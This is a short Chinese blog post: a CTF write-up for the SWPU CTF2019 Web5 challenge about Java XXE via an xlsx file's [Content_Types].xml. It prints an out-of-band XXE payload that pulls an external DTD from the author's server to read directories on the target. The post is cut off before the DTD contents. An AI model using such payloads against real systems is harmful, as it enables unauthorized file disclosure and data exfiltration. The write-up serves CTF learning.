刘功瑞的博客
有一天你突然惊醒，发现这一切，都只不过是一场梦。
2019年12月13日
SWPU CTF2019 Web5 WriteUp （xxe,java xxe,axis,excel）
根据题目提示是java xxe，先测试出xxe所在位置为xlsx的[Content_Types].xml文件先使用xxe读取目录payload放到excel里面<!DOCTYPE ANY[
<!ENTITY % send SYSTEM 'http://www.liugongrui.com/ctf/xxe/test.dtd'>
%send;
%test;
%back;
]>test.dtd 放到自己
作者:admin , 分类:CTF , 浏览:652 , 评论:0
- 搜索
- 文章归档
- 网站收藏
- 友情链接
-
